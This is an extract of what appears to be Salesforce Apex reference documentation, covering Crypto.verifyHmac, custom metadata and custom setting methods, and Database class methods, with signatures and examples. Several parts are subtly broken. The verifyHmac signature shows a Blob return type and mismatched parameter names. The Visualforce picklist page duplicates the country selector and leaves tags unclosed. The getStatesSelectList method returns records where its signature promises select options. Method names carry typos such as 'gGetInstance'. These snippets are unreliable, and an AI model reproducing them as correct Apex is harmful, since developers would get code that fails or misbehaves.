Boolean verified = Crypto.verify('RSA-SHA512', data, signature, 'signingCert');
```

verifyHMac(String algorithmName, Blob input, Blob privateKey, Blob macToVerify)
Verifies the HMAC signature for Blob data using the specified algorithm, input data, privateKey, and the mac. Use this method to verify a Blob signed by a digital signature created using a third-party application or the sign method.

Signature

```java
public static Blob verifyHmac(String algorithmName, Blob input, Blob privateKey, Blob macToVerify)
```

Parameters

algorithmName
Type: String
The valid values for algorithmName are:
- hmacMD5
- hmacSHA1
- hmacSHA256
- hmacSHA512
data
Type: Blob
The data to sign.
privateKey
Type: Blob
The value of privateKey does not need to be in decoded form. The value cannot exceed 4 KB.
macToVerify
Type: Blob
The value of the mac must be verified against the provided privateKey, data, and algorithm.
Custom Metadata Type Methods

Custom metadata types are customizable, deployable, packageable, and upgradeable application metadata. All custom metadata is exposed in the application cache, which allows access without repeated queries to the database. The metadata is then available for formula fields, validation rules, flows, Apex, and SOAP API. All methods are static.

Usage

Custom metadata types methods are instance type methods and are called by and operate on a specific instance of a custom metadata type.

Custom Metadata Types Example

The following example uses the `getAll()` method. The custom metadata type named Games has a field called `GameType__c`. This example determines if the field value of the first record is equal to the string `PC`.

```java
List<Games__mdt> mcs = Games__mdt.getAll().values();
boolean textField = null;
if (mcs[0].GameType__c == 'PC') {
    textField = true;
}
system.assertEquals(textField, true);
```

IN THIS SECTION:

1. **getAll()**
   - Returns a map containing all custom metadata records for the specific custom metadata type. The map's keys are the IDs of the records and the map's values are the record sObjects.

2. **getInstance(recordId)**
   - Returns a single custom metadata type record sObject for a specified record ID.

3. **getInstance(developerName)**
   - Returns a single custom metadata type record sObject for a specified developerName field of the custom metadata type object.

4. **getInstance(qualifiedApiName)**
   - Returns a single custom metadata type record sObject for a qualified API name specified as parameter.
**getAll()**

Returns a map containing all custom metadata records for the specific custom metadata type. The map’s keys are the IDs of the records and the map’s values are the record sObjects.

**Signature**

```java
public Map<String, CustomMetadataType__mdt> getAll()
```

**Return Value**

Type: `Map<String, CustomMetadataType__mdt>`

**Usage**

If no records are defined for the type, this method returns an empty map. To iterate over the list of custom metadata type record sObjects, use `getAll().values()`.

**Example**

This sample returns a map of all the records for a custom metadata type named `Games__mdt`.

```java
Map<String, Games__mdt> mcs = Games__mdt.getAll();
```

**getInstance(recordId)**

Returns a single custom metadata type record sObject for a specified record ID.

**Signature**

```java
public CustomMetadataType__mdt getInstance(recordId)
```

**Parameters**

- `recordId`
  
  Type: `String`

**Return Value**

Type: `CustomMetadataType__mdt`

**Usage**

Use this method when you want to explicitly retrieve custom metadata type information at the user level.

**Example**

This sample returns a single record sObject for the custom metadata type named `Games__mdt` with `recordID` specified as m00000000000001.

```java
Games__mdt mc = Games__mdt.getInstance('m00000000000001');
```
getInstance(developerName)
Returns a single custom metadata type record sObject for a specified developerName field of the custom metadata type object.

Signature
public CustomMetadataType__mdt getInstance(String developerName)

Parameters
developerName
Type: String

Return Value
Type: CustomMetadataType__mdt

Usage
Use this method to return a single custom metadata type record for the specified developerName. The developerName is the unique name of the custom metadata type object in the API.

Example
Returns a single record sObject for the custom metadata type named Games_mdt with developerName specified as FirstRecord.

Games__mdt mc = Games__mdt.getInstance('FirstRecord');

getInstance(qualifiedApiName)
Returns a single custom metadata type record sObject for a qualified API name specified as parameter.

Signature
public CustomMetadataType__mdt getInstance(String qualifiedApiName)

Parameters
qualifiedApiName
Type: String

Return Value
Type: CustomMetadataType__mdt

Usage
Use this method to return a single custom metadata type record for the specified qualifiedApiName. The qualifiedApiName is a concatenation of the namespace prefix and developerName, and has this format: namespacePrefix__developerName. The developerName is the unique name of the custom metadata type object in the API.
Example

This sample returns a single record sObject for the custom metadata type named Games_mdt with qualified API name specified as MyNamespace__FirstRecord.

```java
Games__mdt mc = Games__mdt.getInstance('MyNamespace__FirstRecord');
```

Custom Settings Methods

Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which enables efficient access without the cost of repeated queries to the database. This data is then available for formula fields, validation rules, flows, Apex, and the SOAP API.

Usage

Custom settings methods are all instance methods, that is, they are called by and operate on a specific instance of a custom setting. There are two types of custom settings: hierarchy and list. There are two types of methods: methods that work with list custom settings, and methods that work with hierarchy custom settings.

Note: All custom settings data is exposed in the application cache, which enables efficient access without the cost of repeated queries to the database. However, querying custom settings data using Standard Object Query Language (SOQL) doesn't use the application cache and is similar to querying a custom object. To benefit from caching, use other methods for accessing custom settings data such as the Apex Custom Settings methods.

For more information on creating custom settings in the Salesforce user interface, see “Create Custom Settings” in the Salesforce online help.

Custom Setting Examples

The following example uses a list custom setting called Games. The Games setting has a field called GameType. This example determines if the value of the first data set is equal to the string PC.

```java
List<Games__C> mcs = Games__c.getall().values();
boolean textField = null;
if (mcs[0].GameType__c == 'PC') {
    textField = true;
}
system.assertEquals(textField, true);
```

The following example uses a custom setting called Foundation_Countries. This example demonstrates that the getValues and getInstance methods return identical values.

```java
Foundation_Countries__c myCS1 = Foundation_Countries__c.getValues('United States');
String myCCVal = myCS1.Country_code__c;
Foundation_Countries__c myCS2 = Foundation_Countries__c.getInstance('United States');
String myCCInst = myCS2.Country_code__c;
system.assertEquals(myCCInst, myCCVal);
```
Hierarchy Custom Setting Examples

In the following example, the hierarchy custom setting GamesSupport has a field called Corporate_number. The code returns the value for the profile specified with pid.

```java
GamesSupport__c mhc = GamesSupport__c.getInstance(pid);
string mPhone = mhc.Corporate_number__c;
```

The example is identical if you choose to use the getValues method.

The following example shows how to use hierarchy custom settings methods. For getInstance, the example shows how field values that aren't set for a specific user or profile are returned from fields defined at the next lowest level in the hierarchy. The example also shows how to use getOrgDefaults.

Finally, the example demonstrates how getValues returns fields in the custom setting record only for the specific user or profile, and doesn't merge values from other levels of the hierarchy. Instead, getValues returns null for any fields that aren't set. This example uses a hierarchy custom setting called Hierarchy. Hierarchy has two fields: OverrideMe and DontOverrideMe. In addition, a user named Robert has a System Administrator profile. The organization, profile, and user settings for this example are as follows:

**Organization settings**
- OverrideMe: Hello
- DontOverrideMe: World

**Profile settings**
- OverrideMe: Goodbye
- DontOverrideMe is not set.

**User settings**
- OverrideMe: Fluffy
- DontOverrideMe is not set.

The following example demonstrates the result of the getInstance method when Robert calls it in his organization:

```java
Hierarchy__c CS = Hierarchy__c.getInstance();
System.Assert(CS.OverrideMe__c == 'Fluffy');
System.assert(CS.DontOverrideMe__c == 'World');
```

If Robert passes his user ID specified by RobertId to getInstance, the results are the same. The identical results are because the lowest level of data in the custom setting is specified at the user level.

```java
Hierarchy__c CS = Hierarchy__c.getInstance(RobertId);
System.Assert(CS.OverrideMe__c == 'Fluffy');
System.assert(CS.DontOverrideMe__c == 'World');
```

If Robert passes the System Administrator profile ID specified by SysAdminID to getInstance, the result is different. The data specified for the profile is returned:

```java
Hierarchy__c CS = Hierarchy__c.getInstance(SysAdminID);
System.Assert(CS.OverrideMe__c == 'Goodbye');
System.assert(CS.DontOverrideMe__c == 'World');
```

When Robert tries to return the data set for the organization using getOrgDefaults, the result is:

```java
Hierarchy__c CS = Hierarchy__c.getOrgDefaults();
System.Assert(CS.OverrideMe__c == 'Hello');
System.assert(CS.DontOverrideMe__c == 'World');
```
By using the `getValues` method, Robert can get the hierarchy custom setting values specific to his user and profile settings. For example, if Robert passes his user ID `RobertId` to `getValues`, the result is:

```java
Hierarchy__c CS = Hierarchy__c.getValues(RobertId);
System.Assert(CS.OverrideMe__c == 'Fluffy');
// Note how this value is null, because you are returning
// data specific for the user
System.assert(CS.DontOverrideMe__c == null);
```

If Robert passes his System Administrator profile ID `SysAdminID` to `getValues`, the result is:

```java
Hierarchy__c CS = Hierarchy__c.getValues(SysAdminID);
System.Assert(CS.OverrideMe__c == 'Goodbye');
// Note how this value is null, because you are returning
// data specific for the profile
System.assert(CS.DontOverrideMe__c == null);
```

**Country and State Code Custom Settings Example**

This example illustrates using two custom setting objects for storing related information, and a Visualforce page to display the data in a set of related picklists.

In the following example, country and state codes are stored in two different custom settings: `Foundation_Countries` and `Foundation_States`.

The `Foundation_Countries` custom setting is a list type custom setting and has a single field, `Country_Code`.

The `Foundation_States` custom setting is also a List type of custom setting and has the following fields:

- **Country Code**
- **State Code**
- **State Name**
The Visualforce page shows two picklists: one for country and one for state.

```
<apex:page controller="CountryStatePicker">

<apex:form>
    <apex:actionFunction name="rerenderStates" rerender="statesSelectList"/>
    <apex:param name="firstParam" assignTo="{!country}" value=""/>

    <table><tbody>
    <tr>
        <th>Country</th>
        <td>

            <apex:selectList id="country" styleclass="std" size="1" value="{!country}" onChange="rerenderStates(this.value)"
            <apex:selectOptions value="{!countriesSelectList}"/>
        </td>
    </tr>

    <tr id="state_input">
        ...<td>

        <apex:selectList id="country" styleclass="std" size="1" value="{!country}" onChange="rerenderStates(this.value)"
            <apex:selectOptions value="{!countriesSelectList}"/>
        </td>
    </tr>
</tbody></table>
</apex:form>
```
The Apex controller CountryStatePicker finds the values entered into the custom settings, then returns them to the Visualforce page.

```apex
public with sharing class CountryStatePicker {

    // Variables to store country and state selected by user
    public String state { get; set; }
    public String country {get; set;}

    // Generates country dropdown from country settings
    public List<SelectOption> getCountriesSelectList() {
        List<SelectOption> options = new List<SelectOption>();
        options.add(new SelectOption('', '-- Select One --'));

        // Find all the countries in the custom setting
        Map<String, Foundation_Countries__c> countries = Foundation_Countries__c.getAll();
        List<String> countryNames = new List<String>();
        countryNames.addAll(countries.keySet());
        countryNames.sort();

        // Create the Select Options.
        for (String countryName : countryNames) {
            Foundation_Countries__c country = countries.get(countryName);
            options.add(new SelectOption(country.country_code__c, country.Name));
        }
        return options;
    }

    // To generate the states picklist based on the country selected by user.
    public List<SelectOption> getStatesSelectList() {
        List<SelectOption> options = new List<SelectOption>();
        // Find all the states we have in custom settings.
        Map<String, Foundation_States__c> allstates = Foundation_States__c.getAll();

        // Filter states that belong to the selected country
        Map<String, Foundation_States__c> states = new Map<String, Foundation_States__c>();
        for(Foundation_States__c state : allstates.values()) {
            if (state.country_code__c == this.country) {
                states.put(state.name, state);
            }
        }
        return states.values();
    }
}
```
List Custom Setting Methods

In this section:

1. List Custom Setting Methods
2. Hierarchy Custom Setting Methods

See also:

1. Custom Settings

List Custom Setting Methods

The following are instance methods for list custom settings.

In this section:

1. getAll()
   Returns a map of the data sets defined for the custom setting.
2. getInstance(dataSetName)
   Returns the custom setting data set record for the specified data set name. This method returns the exact same object as getValues(dataSetName).
3. getValues(dataSetName)
   Returns the custom setting data set record for the specified data set name. This method returns the exact same object as getInstance(dataSetName).

getAll()

Returns a map of the data sets defined for the custom setting.
public Map<String, CustomSetting__c> getAll()

Return Value
Type: Map<String, CustomSetting__c>

Usage
If no data set is defined, this method returns an empty map.

Note: For Apex saved using Salesforce API version 20.0 or earlier, the data set names, which are the keys in the returned map, are converted to lower case. For Apex saved using Salesforce API version 21.0 and later, the case of the data set names in the returned map keys is not changed and the original case is preserved.

getInstance(dataSetName)
Returns the custom setting data set record for the specified data set name. This method returns the exact same object as getValues(dataSetName).

Signature
public CustomSetting__c get Instance(String dataSetName)

Parameters
dataSetName
Type: String

Return Value
Type: CustomSetting__c

Usage
If no data is defined for the specified data set, this method returns null.

getValues(dataSetName)
Returns the custom setting data set record for the specified data set name. This method returns the exact same object as getInstance(dataSetName).

Signature
public CustomSetting__c getValues(String dataSetName)

Parameters
dataSetName
Type: String
Return Value
Type: CustomSetting__c

Usage
If no data is defined for the specified data set, this method returns null.

Hierarchy Custom Setting Methods
The following are instance methods for hierarchy custom settings.

Note:
• In API version 41.0 and below, each method in an Apex test class, including testSetup methods, are able to insert hierarchy custom setting values. This behavior is true even when the methods have the same SetupOwnerId value as a hierarchy custom setting record inserted in a different test method.
• In API version 42.0 and later, if a hierarchy custom setting is inserted in a testSetup method, inserting a hierarchy custom setting record with the same SetupOwnerId in a test method throws a DUPLICATE_VALUE exception.

IN THIS SECTION:
getInstance()
Returns a custom setting data set record for the current user. The fields returned in the custom setting record are merged based on the lowest level fields that are defined in the hierarchy.

getInstance(userId)
Returns the custom setting data set record for the specified user ID. The lowest level custom setting record and fields are returned. Use this when you want to explicitly retrieve data for the custom setting at the user level.

getInstance(profileId)
Returns the custom setting data set record for the specified profile ID. The lowest level custom setting record and fields are returned. Use this when you want to explicitly retrieve data for the custom setting at the profile level.

getOrgDefaults()
Returns the custom setting data set record for the organization.

getValues(userId)
Returns the custom setting data set record for the specified user ID.

getValues(profileId)
Returns the custom setting data set record for the specified profile ID.

gGetInstance()
Returns a custom setting data set record for the current user. The fields returned in the custom setting record are merged based on the lowest level fields that are defined in the hierarchy.

Signature
public CustomSetting__c getInstance()
Return Value
Type: CustomSetting__c

Usage
If no custom setting data is defined for the user, this method returns a new custom setting object. The new custom setting object contains an ID set to `null` and merged fields from higher in the hierarchy. You can add this new custom setting record for the user by using `insert` or `upsert`. If no custom setting data is defined in the hierarchy, the returned custom setting has empty fields, except for the `SetupOwnerId` field which contains the user ID.

Note: For Apex saved using Salesforce API version 21.0 or earlier, this method returns the custom setting data set record with fields merged from field values defined at the lowest hierarchy level, starting with the user. Also, if no custom setting data is defined in the hierarchy, this method returns `null`.

This method is equivalent to a method call to `getInstance(User_Id)` for the current user.

Example
- Custom setting data set defined for the user: If you have a custom setting data set defined for the user “Uriel Jones,” for the profile “System Administrator,” and for the organization as a whole, and the user running the code is Uriel Jones, this method returns the custom setting record defined for Uriel Jones.
- Merged fields: If you have a custom setting data set with fields A and B for the user “Uriel Jones” and for the profile “System Administrator,” and field A is defined for Uriel Jones, field B is `null` but is defined for the System Administrator profile, this method returns the custom setting record for Uriel Jones with field A for Uriel Jones and field B from the System Administrator profile.
- No custom setting data set record defined for the user: If the current user is “Barbara Mahonie,” who also shares the “System Administrator” profile, but no data is defined for Barbara as a user, this method returns a new custom setting record with the ID set to `null` and with fields merged based on the fields defined in the lowest level in the hierarchy.

`getInstance(userId)`
Returns the custom setting data set record for the specified user ID. The lowest level custom setting record and fields are returned. Use this when you want to explicitly retrieve data for the custom setting at the user level.

Signature
```java
public CustomSetting__c getInstance(ID userId)
```

Parameters
- `userId`
  Type: ID

Return Value
Type: CustomSetting__c

Usage
If no custom setting data is defined for the user, this method returns a new custom setting object. The new custom setting object contains an ID set to `null` and merged fields from higher in the hierarchy. You can add this new custom setting record for the user
by using `insert` or `upsert`. If no custom setting data is defined in the hierarchy, the returned custom setting has empty fields, except for the `SetupOwnerId` field which contains the user ID.

**Note:** For Apex saved using Salesforce API version 21.0 or earlier, this method returns the custom setting data set record with fields merged from field values defined at the lowest hierarchy level, starting with the user. Also, if no custom setting data is defined in the hierarchy, this method returns `null`.

### getInstance(profileId)

Returns the custom setting data set record for the specified profile ID. The lowest level custom setting record and fields are returned. Use this when you want to explicitly retrieve data for the custom setting at the profile level.

**Signature**

```java
public CustomSetting__c getInstance(ID profileId)
```

**Parameters**

- **profileId**  
  Type: `ID`

**Return Value**

Type: `CustomSetting__c`

**Usage**

If no custom setting data is defined for the profile, this method returns a new custom setting record. The new custom setting object contains an ID set to `null` and with merged fields from your organization’s default values. You can add this new custom setting for the profile by using `insert` or `upsert`. If no custom setting data is defined in the hierarchy, the returned custom setting has empty fields, except for the `SetupOwnerId` field which contains the profile ID.

**Note:** For Apex saved using Salesforce API version 21.0 or earlier, this method returns the custom setting data set record with fields merged from field values defined at the lowest hierarchy level, starting with the profile. Also, if no custom setting data is defined in the hierarchy, this method returns `null`.

### getOrgDefaults()

Returns the custom setting data set record for the organization.

**Signature**

```java
public CustomSetting__c getOrgDefaults()
```

**Return Value**

Type: `CustomSetting__c`

**Usage**

If no custom setting data is defined for the organization, this method returns an empty custom setting object.
Note: For Apex saved using Salesforce API version 21.0 or earlier, this method returns null if no custom setting data is defined for the organization.

**getValues (userId)**

Returns the custom setting data set record for the specified user ID.

**Signature**

```java
public CustomSetting__c getValues(ID userId)
```

**Parameters**

- `userId`
  Type: ID

**Return Value**

Type: CustomSetting__c

**Usage**

Use this if you only want the subset of custom setting data that has been defined at the user level. For example, suppose you have a custom setting field that has been assigned a value of “alpha” at the organizational level, but has no value assigned at the user or profile level. Using `getValues (userId)` returns null for this custom setting field.

**getValues (profileId)**

Returns the custom setting data set for the specified profile ID.

**Signature**

```java
public CustomSetting__c getValues(ID profileId)
```

**Parameters**

- `profileId`
  Type: ID

**Return Value**

Type: CustomSetting__c

**Usage**

Use this if you only want the subset of custom setting data that has been defined at the profile level. For example, suppose you have a custom setting field that has been assigned a value of “alpha” at the organizational level, but has no value assigned at the user or profile level. Using `getValues (profileId)` returns null for this custom setting field.
Database Class
Contains methods for creating and manipulating data.

Namespace
System

Usage
Some Database methods also exist as DML statements.

SEE ALSO:
Apex DML Operations

Database Methods
The following are methods for Database. All methods are static.

IN THIS SECTION:
- `convertLead(leadToConvert, allOrNone)`
  Converts a lead into an account and contact, as well as (optionally) an opportunity.
- `convertLead(leadsToConvert, allOrNone)`
  Converts a list of LeadConvert objects into accounts and contacts, as well as (optionally) opportunities.
- `countQuery(query)`
  Returns the number of records that a dynamic SOQL query would return when executed.
- `delete(recordToDelete, allOrNone)`
  Deletes an existing sObject record, such as an individual account or contact, from your organization’s data.
- `delete(recordsToDelete, allOrNone)`
  Deletes a list of existing sObject records, such as individual accounts or contacts, from your organization’s data.
- `delete(recordID, allOrNone)`
  Deletes existing sObject records, such as individual accounts or contacts, from your organization’s data.
- `delete(recordIDs, allOrNone)`
  Deletes a list of existing sObject records, such as individual accounts or contacts, from your organization’s data.
- `deleteAsync(sobjects, callback)`
  Initiates requests to delete the external data that corresponds to the specified external object records. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source. Allows referencing a callback class whose `processDelete` method is called for each record after deletion.
- `deleteAsync(sobject, callback)`
  Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source. Allows referencing a callback class whose `processDelete` method is called after deletion.
deleteAsync(sobjects)
Initiates requests to delete the external data that corresponds to the specified external object records. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources.

deleteAsync(sobject)
Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source.

deleteImmediate(sobjects)
Initiates requests to delete the external data that corresponds to the specified external object records. The requests are executed synchronously and are sent to the external systems that are defined by the external objects’ associated external data sources. If the Apex transaction contains pending changes, the synchronous operations can’t be completed and throw exceptions.

deleteImmediate(sobject)
Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed synchronously and is sent to the external system that’s defined by the external object’s associated external data source. If the Apex transaction contains pending changes, the synchronous operation can’t be completed and throws an exception.

emptyRecycleBin(recordIds)
Permanently deletes the specified records from the Recycle Bin.

emptyRecycleBin(sObject)
Permanently deletes the specified sObject from the Recycle Bin.

emptyRecycleBin(listOfSObjects)
Permanently deletes the specified sObjects from the Recycle Bin.

executeBatch(batchClassObject)
Submits a batch Apex job for execution corresponding to the specified class.

executeBatch(batchClassObject, scope)
Submits a batch Apex job for execution using the specified class and scope.

getAsyncDeleteResult(deleteResult)
Retrieves the status of an asynchronous delete operation that’s identified by a Database.DeleteResult object.

getAsyncDeleteResult(asyncLocator)
Retrieves the result of an asynchronous delete operation based on the result’s unique identifier.

getAsyncLocator(result)
Returns the asyncLocator associated with the result of a specified asynchronous insert, update, or delete operation.

getAsyncSaveResult(saveResult)
Returns the status of an asynchronous insert or update operation that’s identified by a Database.SaveResult object.

getAsyncSaveResult(asyncLocator)
Returns the status of an asynchronous insert or update operation based on the unique identifier associated with each modification.

getDeleted(sObjectType, startDate, endDate)
Returns the list of individual records that have been deleted for an sObject type within the specified start and end dates and times and that are still in the Recycle Bin.

getQueryLocator(listofQueries)
Creates a QueryLocator object used in batch Apex or Visualforce.
getQueryLocator(query)
Creates a QueryLocator object used in batch Apex or Visualforce.

getUpdated(sobjectType, startDate, endDate)
Returns the list of individual records that have been updated for an sObject type within the specified start and end dates and times.

insert(recordToInsert, allOrNone)
Adds an sObject, such as an individual account or contact, to your organization’s data.

insert(recordsToInsert, allOrNone)
Adds one or more sObjects, such as individual accounts or contacts, to your organization’s data.

insert(recordToInsert, dmlOptions)
Adds an sObject, such as an individual account or contact, to your organization’s data.

insert(recordsToInsert, dmlOptions)
Adds one or more sObjects, such as individual accounts or contacts, to your organization’s data.

insertAsync(sobjects, callback)
Initiates requests to add external object data to the relevant external systems. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources. Allows referencing a callback class whose processSave method is called for each record after the remote operations are completed.

insertAsync(sobject, callback)
Initiates a request to add external object data to the relevant external system. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source. Allows referencing a callback class whose processSave method is called after the remote operation is completed.

insertAsync(sobjects)
Initiates requests to add external object data to the relevant external systems. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources.

insertAsync(sobject)
Initiates a request to add external object data to the relevant external system. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source.

insertImmediate(sobjects)
Initiates requests to add external object data to the relevant external systems. The requests are executed synchronously and are sent to the external systems that are defined by the external objects’ associated external data sources. If the Apex transaction contains pending changes, the synchronous operations can’t be completed and throw exceptions.

insertImmediate(sobject)
Initiates a request to add external object data to the relevant external system. The request is executed synchronously and is sent to the external system that’s defined by the external object’s associated external data source. If the Apex transaction contains pending changes, the synchronous operation can’t be completed and throws an exception.

merge(masterRecord, duplicateId)
Merges the specified duplicate record into the master sObject record of the same type, deleting the duplicate, and reparenting any related records. Merges only accounts, contacts, or leads.

merge(masterRecord, duplicateRecord)
Merges the specified duplicate sObject record into the master sObject of the same type, deleting the duplicate, and reparenting any related records.

merge(masterRecord, duplicateIds)
Merges up to two records of the same sObject type into the master sObject record, deleting the others, and reparenting any related records.
merge(masterRecord, duplicateRecords)
Merges up to two records of the same object type into the master sObject record, deleting the others, and reparenting any related records.

merge(masterRecord, duplicateId, allOrNone)
Merges the specified duplicate record into the master sObject record of the same type, optionally returning errors, if any, deleting the duplicate, and reparenting any related records. Merges only accounts, contacts, or leads.

merge(masterRecord, duplicateRecord, allOrNone)
Merges the specified duplicate sObject record into the master sObject of the same type, optionally returning errors, if any, deleting the duplicate, and reparenting any related records.

merge(masterRecord, duplicateIds, allOrNone)
Merges up to two records of the same sObject type into the master sObject record, optionally returning errors, if any, deleting the duplicates, and reparenting any related records.

merge(masterRecord, duplicateRecords, allOrNone)
Merges up to two records of the same object type into the master sObject record, optionally returning errors, if any, deleting the duplicates, and reparenting any related records.

query(queryString)
Creates a dynamic SOQL query at runtime.

rollback(databaseSavepoint)
Restores the database to the state specified by the savepoint variable. Any emails submitted since the last savepoint are also rolled back and not sent.

setSavepoint()
Returns a savepoint variable that can be stored as a local variable, then used with the rollback method to restore the database to that point.

undelete(recordToUndelete, allOrNone)
Restores an existing sObject record, such as an individual account or contact, from your organization’s Recycle Bin.

undelete(recordsToUndelete, allOrNone)
Restores one or more existing sObject records, such as individual accounts or contacts, from your organization’s Recycle Bin.

undelete(recordID, allOrNone)
Restores an existing sObject record, such as an individual account or contact, from your organization’s Recycle Bin.

undelete(recordIDs, allOrNone)
Restores one or more existing sObject records, such as individual accounts or contacts, from your organization’s Recycle Bin.

update(recordToUpdate, allOrNone)
Modifies an existing sObject record, such as an individual account or contact, in your organization’s data.

update(recordsToUpdate, allOrNone)
Modifies one or more existing sObject records, such as individual accounts or contacts in invoice statements, in your organization’s data.

update(recordToUpdate, dmlOptions)
Modifies an existing sObject record, such as an individual account or contact, in your organization’s data.

update(recordsToUpdate, dmlOptions)
Modifies one or more existing sObject records, such as individual accounts or contacts in invoice statements, in your organization’s data.
upsert(recordToUpsert, externalIdField, allOrNone)
Creates a new sObject record or updates an existing sObject record within a single statement, using a specified field to determine the presence of existing objects, or the ID field if no field is specified.

upsert(recordsToUpsert, externalIdField, allOrNone)
Creates new sObject records or updates existing sObject records within a single statement, using a specified field to determine the presence of existing objects, or the ID field if no field is specified.

updateAsync(sobjects, callback)
Initiates requests to update external object data on the relevant external systems. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources. Allows referencing a callback class whose processSave method is called for each record after the remote operations are completed.

updateAsync(object, callback)
Initiates a request to update external object data on the relevant external system. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source. Allows referencing a callback class whose processSave method is called after the remote operation is completed.

updateAsync(sobjects)
Initiates requests to update external object data on the relevant external systems. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources.

updateAsync(object)
Initiates a request to update external object data on the relevant external system. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source.

updateImmediate(sobjects)
Initiates requests to update external object data on the relevant external systems. The requests are executed synchronously and are sent to the external systems that are defined by the external objects’ associated external data sources. If the Apex transaction contains pending changes, the synchronous operations can’t be completed and throw exceptions.

updateImmediate(object)
Initiates a request to update external object data on the relevant external system. The request is executed synchronously and is sent to the external system that’s defined by the external object’s associated external data source. If the Apex transaction contains pending changes, the synchronous operation can’t be completed and throws an exception.

convertLead(leadToConvert, allOrNone)
Converts a lead into an account and contact, as well as (optionally) an opportunity.

Signature
public static Database.LeadConvertResult convertLead(Database.LeadConvert leadToConvert, Boolean allOrNone)

Parameters
leadToConvert
  Type: Database.LeadConvert

allOrNone
  Type: Boolean
The optional `allOrNone` parameter specifies whether the operation allows partial success. If you specify `false` for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. If the parameter is not set or is set `true`, an exception is thrown if the method is not successful.

Return Value
Type: `Database.LeadConvertResult`

Usage
The `convertLead` method accepts up to 100 `LeadConvert` objects. Each executed `convertLead` method counts against the governor limit for DML statements.

`convertLead(leadsToConvert, allOrNone)`
Converts a list of `LeadConvert` objects into accounts and contacts, as well as (optionally) opportunities.

Signature
```java
public static Database.LeadConvertResult[] convertLead(Database.LeadConvert[] leadsToConvert, Boolean allOrNone)
```

Parameters
`leadsToConvert`
Type: `Database.LeadConvert[]`

`allOrNone`
Type: `Boolean`

The optional `allOrNone` parameter specifies whether the operation allows partial success. If you specify `false` for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. If the parameter is not set or is set `true`, an exception is thrown if the method is not successful.

Return Value
Type: `Database.LeadConvertResult[]`

Usage
The `convertLead` method accepts up to 100 `LeadConvert` objects. Each executed `convertLead` method counts against the governor limit for DML statements.

`countQuery(query)`
Returns the number of records that a dynamic SOQL query would return when executed.
**countQuery**

**Signature**

```
public static Integer countQuery(String query)
```

**Parameters**

- **query**
  
  Type: String

**Return Value**

Type: Integer

**Usage**

For more information, see Dynamic SOQL on page 190.

Each executed `countQuery` method counts against the governor limit for SOQL queries.

**Example**

```
String QueryString = 'SELECT count() FROM Account';
Integer i = Database.countQuery(QueryString);
```

**delete**(recordToDelete, allOrNone)

Deletes an existing sObject record, such as an individual account or contact, from your organization’s data.

**Signature**

```
public static Database.DeleteResult delete(SObject recordToDelete, Boolean allOrNone)
```

**Parameters**

- **recordToDelete**
  
  Type: sObject

- **allOrNone**
  
  Type: Boolean

  The optional `allOrNone` parameter specifies whether the operation allows partial success. If you specify `false` for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. If the parameter is not set or is set `true`, an exception is thrown if the method is not successful.

**Return Value**

Type: Database.DeleteResult
Usage

delete is analogous to the delete() statement in the SOAP API.
Each executed delete method counts against the governor limit for DML statements.

**delete(recordsToDelete, allOrNone)**

Deletes a list of existing sObject records, such as individual accounts or contacts, from your organization’s data.

Signature

```java
public static Database.DeleteResult[] delete(SObject[] recordsToDelete, Boolean allOrNone)
```

Parameters

- **recordsToDelete**
  - Type: `sObject[]`
- **allOrNone**
  - Type: `Boolean`

The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. If the parameter is not set or is set true, an exception is thrown if the method is not successful.

Return Value

Type: `Database.DeleteResult[]`

Usage

delete is analogous to the delete() statement in the SOAP API.
Each executed delete method counts against the governor limit for DML statements.

Example

The following example deletes an account named ‘DotCom’:

```java
Account[] doomedAccts = [SELECT Id, Name FROM Account WHERE Name = 'DotCom'];
Database.DeleteResult[] DR_Dels = Database.delete(doomedAccts);
```

**delete(recordID, allOrNone)**

Deletes existing sObject records, such as individual accounts or contacts, from your organization’s data.

Signature

```java
public static Database.DeleteResult delete(ID recordID, Boolean allOrNone)
```
Parameters

*recordID*
  Type: ID

*allOrNone*
  Type: Boolean

The optional *allOrNone* parameter specifies whether the operation allows partial success. If you specify *false* for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. If the parameter is not set or is set *true*, an exception is thrown if the method is not successful.

Return Value

Type: Database.DeleteResult

Usage

delete is analogous to the delete() statement in the SOAP API.

Each executed delete method counts against the governor limit for DML statements.

delete(recordIDs, allOrNone)

Deletes a list of existing sObject records, such as individual accounts or contacts, from your organization’s data.

Signature

public static Database.DeleteResult[] delete(ID[] recordIDs, Boolean allOrNone)

Parameters

*recordIDs*
  Type: ID[]

*allOrNone*
  Type: Boolean

The optional *allOrNone* parameter specifies whether the operation allows partial success. If you specify *false* for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. If the parameter is not set or is set *true*, an exception is thrown if the method is not successful.

Return Value

Type: Database.DeleteResult[]

Usage

delete is analogous to the delete() statement in the SOAP API.

